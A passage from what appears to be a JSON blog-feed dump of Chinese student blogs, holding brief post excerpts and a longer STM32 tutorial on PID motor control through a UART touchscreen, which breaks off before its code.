class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e机器人目录下打开终端(\u003cstrong\u003e注意要在虚拟环境下\u003c/strong\u003e)\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003enb run\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003cstrong\u003eAccepted!好耶\u003c/strong\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.ksfu.top/posts/ec36/"}]},{"name":"小北的书夹","email":"","uri":"http://blog.xiaobeo.top/","description":"just so so","article":[{"title":"2023 A测线下机械臂完全速通","time":"2023-10-10T13:51:00+02:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e前言:今年A测线下基本上就是速通的,全校一个题目,走一个形式。具体的说就是给机械臂成品烧录一个官方固件,然后在上位机里第100组动作部分下载所要求的动作组。实在是水中水,简单写一个速通A测教程吧。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://blog.xiaobeo.top/index.php/default/23.html"},{"title":"电表欢迎2023级新生的到来","time":"2023-08-12T07:50:00+02:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e亲爱的23级新生们:电表APP欢迎大家来到西安电子科技大学,开启人生全新的篇章!在这个充满希望与机遇的校园里,你们将迎来一个充满挑战和成长的精彩旅程。作为23级新生,你们将在这里汇聚来自五湖四海...\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://blog.xiaobeo.top/index.php/default/22.html"},{"title":"byd西电","time":"2023-07-12T19:00:00+02:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e就喜欢搞没水没电没网是吧\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://blog.xiaobeo.top/index.php/default/16.html"},{"title":"现代产品设计笔记","time":"2023-07-12T16:14:26+02:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e这里记录的是现代产品设计知识点。现代产品设计为什么要研究现代设计?最主要的是为了创造出更适合人们需求和喜好的产品。现代设计理论是应用科学的思想和方法,使设计更理性、科学、动态和计算机化。这样可以...\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://blog.xiaobeo.top/index.php/default/15.html"},{"title":"微原考试重点","time":"2023-07-12T16:13:56+02:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e微机原理考试重点,就是题库啦!微原考试(考试占比50%)简答题(30分)五道题,看思维导图上内容重点。中断子程序和一般子程序区别,三个区别:调用方式、保护、返回指令。存储器,8086奇偶线选择信...\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://blog.xiaobeo.top/index.php/default/14.html"},{"title":"计算机图形学基础与CAD开发","time":"2023-07-12T16:13:00+02:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e计算机图形学基础与CAD开发;This program prints the ASCIIs(30-90) to the screen.(defun C:PASCII (/ as) ...\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://blog.xiaobeo.top/index.php/default/13.html"},{"title":"机械制造基础笔记","time":"2023-07-12T16:11:54+02:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e机械制造基础考试内容。1 绪论应用机械设备,采用一定的工艺和方法,将产品从一种构思变为实物机械制造过程 ​ 从上面的例子可以看出,要将产品从一种构思变为实物,必须经历下面的过程:1.生...\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://blog.xiaobeo.top/index.php/default/12.html"},{"title":"微机原理笔记","time":"2023-07-12T16:10:00+02:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e单选1.在8086/8088 CPU中,一个最基本的总线读写周期由( )(1)时钟周期(T状态)组成,在T1状态,CPU往总线上发( )(2)信息。(1) A. 1个 B. 2...\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://blog.xiaobeo.top/index.php/default/11.html"},{"title":"vr 展馆","time":"2023-07-12T16:09:00+02:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003evr 展馆这里是计算机设计大赛的一点记录\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://blog.xiaobeo.top/index.php/default/10.html"},{"title":"红色游历小分队---南宁站","time":"2023-07-12T16:07:00+02:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e为庆祝党的百年华诞,深情回顾党的历史,热情讴歌党的光辉业绩,继承和发扬党的光荣传统和优良作风,坚定孩我们的理想信念及激发历史责任感,今天我们去的是广西南宁的南宁博物馆。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://blog.xiaobeo.top/index.php/default/9.html"}]},{"name":"Canxin Site","email":"","uri":"https://canxin121.github.io/","description":"Recent content on Canxin Site","article":[{"title":"屏幕 控制 电机(pid)","time":"2023-09-18T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/cover.png\" alt=\"Featured image of post 屏幕 控制 电机(pid)\"/\u003e\u003ch1 id=\"保命事项\"\u003e保命事项\u003c/h1\u003e\n\u003col\u003e\n\u003cli\u003eVCC等电压和GND接地千万不要接反! 否则板子升天, money打水漂.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"元器件列表\"\u003e元器件列表\u003c/h2\u003e\n\u003cp\u003e感谢物院实验室某佬倾情相借!\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eStm32 H750VBT6\u003c/li\u003e\n\u003cli\u003e轮趣科技 Tb6612 稳压版电机驱动\u003c/li\u003e\n\u003cli\u003e轮趣科技 MG513 霍尔解码器版电机\u003c/li\u003e\n\u003cli\u003eTJC3224K024 触控屏\u003c/li\u003e\n\u003cli\u003ePWlink2 lite版本 下载\\调试器\u003c/li\u003e\n\u003cli\u003e一块电池\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"使用工具\"\u003e使用工具\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eVscode + EIDE套装\u003c/li\u003e\n\u003cli\u003eKeil u5(\u003c/li\u003e\n\u003cli\u003eStm Cube MX\u003c/li\u003e\n\u003cli\u003eUSART HMI (TJC图形化编程工具)\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"实践过程\"\u003e实践过程\u003c/h2\u003e\n\u003ch3 id=\"接线\"\u003e接线\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e\u003cem\u003e电机\u003c/em\u003e 和 \u003cem\u003e驱动板\u003c/em\u003e接线, 这里直接使用附赠的排线连接.\u003c/li\u003e\n\u003cli\u003e\u003cem\u003e驱动板\u003c/em\u003e 和 \u003cem\u003eStm主板\u003c/em\u003e 接线 ( 可以按照自己喜欢的布局连接, 也可以参考驱动板厂家给出的示例.\u003c/li\u003e\n\u003cli\u003e\u003cem\u003e显示屏\u003c/em\u003e 和 \u003cem\u003eStm主板\u003c/em\u003e 接线 (TX,RX对接就完了), 这里电池给显示屏供电, 所以直接接到了驱动板引出的5v和GND.\u003c/li\u003e\n\u003cli\u003e\u003cem\u003ePwlink2lite下载器\u003c/em\u003e 和 \u003cem\u003eStm主板\u003c/em\u003e 接线( 这里要单独接一个TX-\u0026gt;RX, 用来输出调试信息).\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e这里简单介绍下不同串口的接线意义:\u003c/p\u003e\n\u003ch4 id=\"驱动板和stm\"\u003e驱动板和Stm\u003c/h4\u003e\n\u003col\u003e\n\u003cli\u003e驱动板的 E2A和E2B (这里的2代表用的第二个电机,也就是B电机,“A”,“B\u0026#34;代表编码器的A相和B相) 接 Stm 的 两个Pin设定同一个TIM并且将该TIM设定为Combined Mode下的Encoder Mode用来解码从电机获取的实际转速(这里实际是 固定时间的位移 正比于速度, 可以当成转速来用)\u003c/li\u003e\n\u003cli\u003e驱动板的 ADC 接口 (这里是用来读取电压) 接 Stm 的 Pin 设定为 ADC_IN.(呃呃,这里最后其实没把电压显示出来,所以没用上)\u003c/li\u003e\n\u003cli\u003e驱动板的 PWMB (这里的B就是代表B电机了) 接 Stm 的 Pin 设定为 TIM 并将对应 TIM 的 对应 CH 设定为PWM GENERATION CHx, 用来输出PWM信号\u003c/li\u003e\n\u003cli\u003e驱动版的 BIN1,2 接 Stm 的 Pin 设定为 GPIO OUTput, 用来设定电机旋转的模式\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e还有其他的使能,电源接口就不赘述了.可以查看 驱动板的使用说明\u003c/p\u003e\n\u003ch4 id=\"触控屏和stm\"\u003e触控屏和Stm\u003c/h4\u003e\n\u003col\u003e\n\u003cli\u003e触控屏使用UART通信, TX,RX 和 Stm 对接(小白注意嗷,TX-\u0026gt;RX对接), Stm上的 两个Pin 设置RX,TX(这里用的USART), 并且要打开对应USART的NVIC (中断)\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch4 id=\"stm和-pwlink2lite-下载器\"\u003eStm和 PwLink2lite 下载器\u003c/h4\u003e\n\u003col\u003e\n\u003cli\u003e调试下载的直接对应相连, 电压接3v3, GND对接\u003c/li\u003e\n\u003cli\u003ePwlink2lite 的 Rx 接到Stm 的 Pin 设置为 USART TX, 用来发送调试信息(后面的代码部分会提到Printf的重定向)\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"stm-cube-mx-配置\"\u003eStm Cube MX 配置\u003c/h3\u003e\n\u003cp\u003e这里的创建工程略过, 小白可以自己看看MX的教学视频\u003c/p\u003e\n\u003ch4 id=\"串口设定pin-out\"\u003e串口设定(Pin OUT)\u003c/h4\u003e\n\u003ch5 id=\"这里的串口要对应好自己的实际接线\"\u003e这里的串口要对应好自己的实际接线.\u003c/h5\u003e\n\u003cp\u003e\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/pin_out.png\" width=\"1112\" height=\"989\" srcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/pin_out_hu06611d6c8d4fc68f059f2a7211a156e7_199638_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/pin_out_hu06611d6c8d4fc68f059f2a7211a156e7_199638_1024x0_resize_box_3.png 1024w\" loading=\"lazy\" class=\"gallery-image\" data-flex-grow=\"112\" data-flex-basis=\"269px\"/\u003e\u003c/p\u003e\n\u003ch4 id=\"串口相应功能设定\"\u003e串口相应功能设定\u003c/h4\u003e\n\u003cp\u003e这些功能要对应好你实际的串口设定\u003c/p\u003e\n\u003ch5 id=\"tim\"\u003eTIM\u003c/h5\u003e\n\u003cp\u003e\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/rcc.png\" width=\"1417\" height=\"635\" srcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/rcc_hu749d9b4ca982880304e14ae1d218a3b9_148125_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/rcc_hu749d9b4ca982880304e14ae1d218a3b9_148125_1024x0_resize_box_3.png 1024w\" loading=\"lazy\" alt=\"然后RCC设置给时钟HSE选择CCR源\" class=\"gallery-image\" data-flex-grow=\"223\" data-flex-basis=\"535px\"/\u003e\n\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/encoder.png\" width=\"964\" height=\"591\" srcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/encoder_hu0cb4eaea236f392224f4bb2d886ce4cd_111946_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/encoder_hu0cb4eaea236f392224f4bb2d886ce4cd_111946_1024x0_resize_box_3.png 1024w\" loading=\"lazy\" alt=\"Encoder (E2A,E2B)\" class=\"gallery-image\" data-flex-grow=\"163\" data-flex-basis=\"391px\"/\u003e\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/pwm.png\" width=\"914\" height=\"577\" srcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/pwm_hu536268e8857b5e7c97e540165974e99a_104347_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/pwm_hu536268e8857b5e7c97e540165974e99a_104347_1024x0_resize_box_3.png 1024w\" loading=\"lazy\" alt=\"Pwm (PwmB)\" class=\"gallery-image\" data-flex-grow=\"158\" data-flex-basis=\"380px\"/\u003e\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/time_control.png\" width=\"941\" height=\"875\" srcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/time_control_hu4db4ca04e1c690adffb3211d5d5e5ab9_165813_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/time_control_hu4db4ca04e1c690adffb3211d5d5e5ab9_165813_1024x0_resize_box_3.png 1024w\" loading=\"lazy\" alt=\"TIM \" class=\"gallery-image\" data-flex-grow=\"107\" data-flex-basis=\"258px\"/\u003e\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/time_control1.png\" width=\"934\" height=\"709\" srcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/time_control1_hud30bc67d88e4606d86734df99e013dba_183490_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/time_control1_hud30bc67d88e4606d86734df99e013dba_183490_1024x0_resize_box_3.png 1024w\" loading=\"lazy\" alt=\"续上图配置的周期(用于控制读Encoder并设定Pwm的间隔,这里调成了0.1秒多一次)\" class=\"gallery-image\" data-flex-grow=\"131\" data-flex-basis=\"316px\"/\u003e\u003c/p\u003e\n\u003ch5 id=\"adc\"\u003eADC\u003c/h5\u003e\n\u003cp\u003e\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/adc.png\" width=\"910\" height=\"435\" srcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/adc_hu76805e7ed3647cf5d90adcec01194c89_44184_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/adc_hu76805e7ed3647cf5d90adcec01194c89_44184_1024x0_resize_box_3.png 1024w\" loading=\"lazy\" alt=\"这里的ADC设置了Single-ended模式\" class=\"gallery-image\" data-flex-grow=\"209\" data-flex-basis=\"502px\"/\u003e\u003c/p\u003e\n\u003ch5 id=\"gpio\"\u003eGPIO\u003c/h5\u003e\n\u003cp\u003e\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/gpio.png\" width=\"931\" height=\"1081\" srcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/gpio_hu4620c1d6af36e037585fadb09c11ee09_156730_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/gpio_hu4620c1d6af36e037585fadb09c11ee09_156730_1024x0_resize_box_3.png 1024w\" loading=\"lazy\" alt=\"这里的GPIO的Bin1和Bin2可以打个标签区分一下, 同时两个都Pull Down(对应的状态是 电机停止)\" class=\"gallery-image\" data-flex-grow=\"86\" data-flex-basis=\"206px\"/\u003e\u003c/p\u003e\n\u003ch5 id=\"usart\"\u003eUSART\u003c/h5\u003e\n\u003cp\u003e\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/screen_usart.png\" width=\"938\" height=\"785\" srcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/screen_usart_hu3a00685f918a87810710b7d4b581c1cc_143248_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/screen_usart_hu3a00685f918a87810710b7d4b581c1cc_143248_1024x0_resize_box_3.png 1024w\" loading=\"lazy\" alt=\"触控屏接到的USART还要打开NVIC全局中断\" class=\"gallery-image\" data-flex-grow=\"119\" data-flex-basis=\"286px\"/\u003e\n![发送调试信息到Pwlink2lite的Usart把Mode打开成Async就好]\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/printf_usart.png\" width=\"937\" height=\"445\" srcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/printf_usart_hufbbd1ce6f6e9d2cf426b2d4c66957dc5_52572_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/printf_usart_hufbbd1ce6f6e9d2cf426b2d4c66957dc5_52572_1024x0_resize_box_3.png 1024w\" loading=\"lazy\" alt=\"Alt text\" class=\"gallery-image\" data-flex-grow=\"210\" data-flex-basis=\"505px\"/\u003e\u003c/p\u003e\n\u003ch5 id=\"project-manager\"\u003eProject Manager\u003c/h5\u003e\n\u003cp\u003e然后配置一下生成代码的设置, 让它生成单独的c/h文件, 并且生成MDK(Keil)的源代码, 这样后面的VSC + EIDE可以直接以MDK项目格式导入进去,嘎嘎方便.\n\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/hc.png\" width=\"2557\" height=\"1260\" srcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/hc_hub7ae0b88da0fd6eb5b9d150d279a9c1c_307450_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/hc_hub7ae0b88da0fd6eb5b9d150d279a9c1c_307450_1024x0_resize_box_3.png 1024w\" loading=\"lazy\" alt=\"生成单独c/h文件\" class=\"gallery-image\" data-flex-grow=\"202\" data-flex-basis=\"487px\"/\u003e\n\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/mdk.png\" width=\"2560\" height=\"1263\" srcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/mdk_huf2c82dab1e6b106f83a5e1f661bb4c21_350215_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/mdk_huf2c82dab1e6b106f83a5e1f661bb4c21_350215_1024x0_resize_box_3.png 1024w\" loading=\"lazy\" alt=\"生成MDK项目\" class=\"gallery-image\" data-flex-grow=\"202\" data-flex-basis=\"486px\"/\u003e\u003c/p\u003e\n\u003ch3 id=\"usart-hmi-写刷-触控屏程序\"\u003eUSART HMI 写/刷 触控屏程序\u003c/h3\u003e\n\u003cp\u003e小白可以先看看这个系列教程了解一下这个 陶晶驰的图形化设计软件的使用方法\u003cbr/\u003e\n\u003c/p\u003e\u003cdiv class=\"video-wrapper\"\u003e\n\u003ciframe src=\"https://player.bilibili.com/player.html?as_wide=1\u0026amp;high_quality=1\u0026amp;page=1\u0026amp;bvid=BV16T4y127YE\u0026amp;autoplay=0\" scrolling=\"no\" frameborder=\"no\" framespacing=\"0\" allowfullscreen=\"true\"\u003e\n\u003c/iframe\u003e\n\u003c/div\u003e\n点击上面可以跳转到完整的系列视频⬆️⬆️⬆️\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e下面是正文⬇️⬇️⬇️\u003c/p\u003e\n\u003cp\u003e我设计的简陋的界面\n\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/home.png\" width=\"2072\" height=\"795\" srcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/home_hu4d582b6e9de5983c6fdf2c2f2b1c7da8_247571_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/home_hu4d582b6e9de5983c6fdf2c2f2b1c7da8_247571_1024x0_resize_box_3.png 1024w\" loading=\"lazy\" alt=\"HOME\" class=\"gallery-image\" data-flex-grow=\"260\" data-flex-basis=\"625px\"/\u003e\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/about.png\" width=\"1978\" height=\"783\" srcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/about_huac7dfe68c132b969493914a8117ee917_356200_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/about_huac7dfe68c132b969493914a8117ee917_356200_1024x0_resize_box_3.png 1024w\" loading=\"lazy\" alt=\"ABOUT\" class=\"gallery-image\" data-flex-grow=\"252\" data-flex-basis=\"606px\"/\u003e\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/func.png\" width=\"1873\" height=\"749\" srcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/func_hu87881c4c4d9fd19bd5b5842f06b5fc53_263046_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/func_hu87881c4c4d9fd19bd5b5842f06b5fc53_263046_1024x0_resize_box_3.png 1024w\" loading=\"lazy\" alt=\"FUNC\" class=\"gallery-image\" data-flex-grow=\"250\" data-flex-basis=\"600px\"/\u003e\u003c/p\u003e\n\u003cp\u003e这里面唯一有用的就是func界面了(其他纯属引流嗷,建议别学我嗷\n\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/func_deatil.png\" width=\"687\" height=\"522\" srcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/func_deatil_hu57adf9d35597e7a450a8e7d262e59fc3_255222_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/func_deatil_hu57adf9d35597e7a450a8e7d262e59fc3_255222_1024x0_resize_box_3.png 1024w\" loading=\"lazy\" alt=\"Func\" class=\"gallery-image\" data-flex-grow=\"131\" data-flex-basis=\"315px\"/\u003e\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e首先需要两个数字框(绑定数字键盘), 一个用来设定目标速度,一个用来设定目标圈数,并且设定了初始值\u003c/li\u003e\n\u003cli\u003e然后加个复选框来 选择 正转 or 反转\u003c/li\u003e\n\u003cli\u003e然后加两个按钮, 一个start 一个 stop, 本质都是用uart发一些数据\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e这里两个按钮需要自己定义一个简单的通信协议, 我这里是这样极其简陋乱写的\u003cbr/\u003e\n\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/start.png\" width=\"193\" height=\"280\" srcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/start_hub1ea8b066bc44846cdeb9988ecd989c4_20676_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/start_hub1ea8b066bc44846cdeb9988ecd989c4_20676_1024x0_resize_box_3.png 1024w\" loading=\"lazy\" alt=\"Start\" class=\"gallery-image\" data-flex-grow=\"68\" data-flex-basis=\"165px\"/\u003e\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/stop.png\" width=\"344\" height=\"294\" srcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/stop_hu2a72a1dc7b1766df73c052fd9822e9e0_24339_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/stop_hu2a72a1dc7b1766df73c052fd9822e9e0_24339_1024x0_resize_box_3.png 1024w\" loading=\"lazy\" alt=\"Stop\" class=\"gallery-image\" data-flex-grow=\"117\" data-flex-basis=\"280px\"/\u003e\u003cbr/\u003e\n也就是 [-1,速度的整数,-2,圈数的整数,-3,复选框(正/反转)的整数]\u003c/p\u003e\n\u003cp\u003e搞定程序设计我们调试试一下效果,没有问题就可以把 屏幕用下载器接到电脑(自己简单对接可以)\u003c/p\u003e\n\u003ch3 id=\"vscode--eide\"\u003eVscode + EIDE\u003c/h3\u003e\n\u003ch4 id=\"环境配置\"\u003e环境配置\u003c/h4\u003e\n\u003cp\u003e小白直接看这个教程吧\n\u003c/p\u003e\u003cdiv class=\"video-wrapper\"\u003e\n\u003ciframe src=\"https://player.bilibili.com/player.html?as_wide=1\u0026amp;high_quality=1\u0026amp;page=1\u0026amp;bvid=BV1nr4y1R7Jb\u0026amp;autoplay=0\" scrolling=\"no\" frameborder=\"no\" framespacing=\"0\" allowfullscreen=\"true\"\u003e\n\u003c/iframe\u003e\n\u003c/div\u003e\u003cp\u003e\u003c/p\u003e\n\u003ch4 id=\"控制代码\"\u003e控制代码\u003c/h4\u003e\n\u003cp\u003eEIDE 导入项目后 开始写代码\u003cbr/\u003e\n这里由于程序简单, 我直接全写在main.c了\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e这里注意一定要在 BEGIN 和 END 中间来写自己的代码, 否则CubeMX再次生成代码时, 会把你非用户代码区的代码删掉了.\u003c/em\u003e\u003cbr/\u003e\n\u003cem\u003e下面的代码中也只有 BEGIN 和 END 中间的代码是开发者自己写的,其他全部由CubeMX自动生成\u003c/em\u003e\u003c/p\u003e\n\u003ch5 id=\"include\"\u003einclude\u003c/h5\u003e\n\u003cp\u003e这里只用到了一个pid(这个代码分享在最后吧), 一个stdio(使用printf)\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv 